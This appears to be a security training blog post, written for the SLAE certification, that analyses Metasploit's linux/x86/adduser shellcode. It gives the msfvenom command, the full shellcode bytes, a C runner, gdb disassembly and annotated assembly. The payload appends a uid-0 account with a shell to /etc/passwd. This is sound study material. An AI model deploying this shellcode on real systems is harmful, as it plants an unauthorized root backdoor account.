Content
- Introduction
- Generate shellcode
- Compile POC and retrieve shellcode source
- Disassemble and analyze shellcode
1. Introduction
After looking into the meterpreter reverse shell in the last post I am going to analyze the linux/x86/adduser payload today.
2. Generate shellcode
A few things to be aware of when dissecting msf payloads:
- the shellcodes will lack sections, thus the use of objdump will be limited. We could try forcing it to work via the following command but I decided against it:
objdump -b binary -D -m i386 <shellcode> -M intel
- piping the output from msfvenom to “ndisasm -u -” would produce assembly code in a weird dialect and that would confuse me.
I am going to create the raw shellcode to paste into our shellcode.c:
msfvenom -p linux/x86/adduser USER=re4son PASSWORD=w00tw00t -a x86 --platform Linux -f c No encoder or badchars specified, outputting raw payload unsigned char buf[] = "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51" "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63" "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x72\x65" "\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34" "\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e" "\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01" "\x58\xcd\x80";
Let’s pop it into our POC:
#include <stdio.h> #include <string.h> unsigned char code[] = \ "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51" "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63" "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x72\x65" "\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34" "\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e" "\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01" "\x58\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
3. Compile the POC and extract the shellcode source code
We know that it works so let’s jump right into it with gdb:
gdb -q msf-adduser-shellcode Reading symbols from /root/git/slae-assignment5/msf-adduser-shellcode...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) break main Breakpoint 1 at 0x804844f (gdb) run Starting program: msf-adduser-shellcode warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000 Breakpoint 1, 0x0804844f in main () (gdb) disassemble Dump of assembler code for function main: 0x0804844c <+0>: push ebp 0x0804844d <+1>: mov ebp,esp => 0x0804844f <+3>: and esp,0xfffffff0 0x08048452 <+6>: sub esp,0x20 0x08048455 <+9>: mov DWORD PTR [esp],0x8049700 0x0804845c <+16>: call 0x8048340 <strlen@plt> 0x08048461 <+21>: mov DWORD PTR [esp+0x4],eax 0x08048465 <+25>: mov DWORD PTR [esp],0x8048520 0x0804846c <+32>: call 0x8048320 <printf@plt> 0x08048471 <+37>: mov DWORD PTR [esp+0x1c],0x8049700 0x08048479 <+45>: mov eax,DWORD PTR [esp+0x1c] 0x0804847d <+49>: call eax 0x0804847f <+51>: leave 0x08048480 <+52>: ret End of assembler dump. (gdb) break *0x0804847d Breakpoint 2 at 0x804847d (gdb) c Continuing. Shellcode Length: 40 Breakpoint 2, 0x0804847d in main () (gdb) stepi 0x08049700 in code () 1: /x $eax = 0x8049700 (gdb) disassemble Dump of assembler code for function code: => 0x08049700 <+0>: xor ecx,ecx 0x08049702 <+2>: mov ebx,ecx 0x08049704 <+4>: push 0x46 0x08049706 <+6>: pop eax 0x08049707 <+7>: int 0x80 0x08049709 <+9>: push 0x5 0x0804970b <+11>: pop eax 0x0804970c <+12>: xor ecx,ecx 0x0804970e <+14>: push ecx 0x0804970f <+15>: push 0x64777373 0x08049714 <+20>: push 0x61702f2f 0x08049719 <+25>: push 0x6374652f 0x0804971e <+30>: mov ebx,esp 0x08049720 <+32>: inc ecx 0x08049721 <+33>: mov ch,0x4 0x08049723 <+35>: int 0x80 0x08049725 <+37>: xchg ebx,eax 0x08049726 <+38>: call 0x804974f <code+79> 0x0804972b <+43>: jb 0x8049792 0x0804972d <+45>: xor al,0x73 0x0804972f <+47>: outs dx,DWORD PTR ds:[esi] 0x08049730 <+48>: outs dx,BYTE PTR ds:[esi] 0x08049731 <+49>: cmp al,BYTE PTR [ecx+0x7a] 0x08049734 <+52>: das 0x08049735 <+53>: fs 0x08049736 <+54>: dec ecx 0x08049737 <+55>: jae 0x80497a3 0x08049739 <+57>: xor al,0x70 0x0804973b <+59>: xor al,0x49 0x0804973d <+61>: push edx 0x0804973e <+62>: arpl WORD PTR [edx],di 0x08049740 <+64>: xor BYTE PTR [edx],bh 0x08049742 <+66>: xor BYTE PTR [edx],bh 0x08049744 <+68>: cmp ch,BYTE PTR [edi] 0x08049746 <+70>: cmp ch,BYTE PTR [edi] 0x08049748 <+72>: bound ebp,QWORD PTR [ecx+0x6e] 0x0804974b <+75>: das 0x0804974c <+76>: jae 0x80497b6 0x0804974e <+78>: or bl,BYTE PTR [ecx-0x75] 0x08049751 <+81>: push ecx 0x08049752 <+82>: cld 0x08049753 <+83>: push 0x4 0x08049755 <+85>: pop eax 0x08049756 <+86>: int 0x80 0x08049758 <+88>: push 0x1 0x0804975a <+90>: pop eax 0x0804975b <+91>: int 0x80 End of assembler dump. (gdb)
And there is our adduser shellcode in assembly.
4. Disassemble and analyze shellcode
We have one problem though: Where is our adduser string?
I suppose we are adding a new line to /etc/passwd so we should have this line somewhere, which at least must contain the string “re4son”.
The string must be sitting in the midst of the text section and gdb has disassembled it nicely.
Now let’s find it and convert it back.
Looking at the code above, we can see a call without return:
0x08049726 <+38>: call 0x804974f <code+79>
That looks suspiciously like a call & pop trick to get the address of our string.
Why don’t we get back to gdb and analyze the memory after that call?
The jump goes to code+79 and the string probably starts at code+43.
Let’s look at the 36 bytes in between
(gdb) x/36cb 0x0804972b 0x804972b <code+43>: 114 'r' 101 'e' 52 '4' 115 's' 111 'o' 110 'n' 58 ':' 65 'A' 0x8049733 <code+51>: 122 'z' 47 '/' 100 'd' 73 'I' 115 's' 106 'j' 52 '4' 112 'p' 0x804973b <code+59>: 52 '4' 73 'I' 82 'R' 99 'c' 58 ':' 48 '0' 58 ':' 48 '0' 0x8049743 <code+67>: 58 ':' 58 ':' 47 '/' 58 ':' 47 '/' 98 'b' 105 'i' 110 'n' 0x804974b <code+75>: 47 '/' 115 's' 104 'h' 10 '\n'
There we have it.
Let’s incorporate it into our source code.
Something seems fishy though: the jump goes to 0x804974f but our disassembled code has the following two lines:
0x0804974e <+78>: or bl,BYTE PTR [ecx-0x75] 0x08049751 <+81>: push ecx
Two bytes got lost during this conversion due to misalignment. Let’s get them back:
(gdb) x/4i 0x804974f 0x804974f <code+79>: pop ecx 0x8049750 <code+80>: mov edx,DWORD PTR [ecx-0x4] 0x8049753 <code+83>: push 0x4 0x8049755 <code+85>: pop eax (gdb)
Here we go, these two instructions make more sense than the push ecx & cld we had before.
On more quick look into the three dwords pushed onto the stack starting at address 0x0804970f:
(gdb) x/5cb 0x0804970f 0x804970f <code+15>: 104 'h' 115 's' 115 's' 119 'w' 100 'd' (gdb) x/5cb 0x08049714 0x8049714 <code+20>: 104 'h' 47 '/' 47 '/' 112 'p' 97 'a' (gdb) x/5cb 0x08049719 0x8049719 <code+25>: 104 'h' 47 '/' 101 'e' 116 't' 99 'c'
Awesome; that’s obviously the file we want to edit: /etc//passwd.
Now that we’ve got the proper pieces, I’m going to put it into it’s own source file for detailed analysis:
; Filename: msf-adduser.nasm ; Author: Metasploit ; Analysed by Re4son <re4son [at] whitedome.com.au> ; Purpose: Disassembly of msf linux/adduser ; for research purpose global _start section .text _start: ; setreuid() sets real and effective user IDs of the calling process ; int setreuid(uid_t ruid, uid_t euid) xor ecx,ecx ; zero out ecx mov ebx,ecx ; and ebx push 0x46 ; put sys_setreuid pop eax ; into eax int 0x80 ; and invoke system call ; open, create - open and possibly create a file or device ; int open(const char *pathname, int flags) push 0x5 ; put sys_open pop eax ; into eax xor ecx,ecx ; zero out ecx push ecx ; push null terminator onto stack push dword 0x64777373 ; push sswd push dword 0x61702f2f ; push //pa push dword 0x6374652f ; push /etc mov ebx,esp ; store pointer to file name in ebx inc ecx ; set O_WRONLY flag (01) mov ch,0x4 ; set O_APPEND flag (02000) int 0x80 ; and invoke system call ; write - write to a file descriptor ; ssize_t write(int fd, const void *buf, size_t count) xchg ebx,eax ; store file descriptor in ebx call adduser ; call/pop trick to get our db address db "re4son:Az/dIsj4p4IRc:0:0::/:/bin/sh" adduser: pop ecx ; put the pointer to our string in ecx mov edx, [ecx-0x4] ; put the size in edx push 0x4 ; put sys_write pop eax ; into eax int 0x80 ; and invoke system call ; exit - terminate the calling process ; void _exit(int status) push 0x1 ; put sys_exit pop eax ; in eax int 0x80 ; so long and thanks for all the fish
That’s it. All clear as mud now.
Let’s assemble, link and run it for good measure:
Perfect.
All files are available on github.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE – 674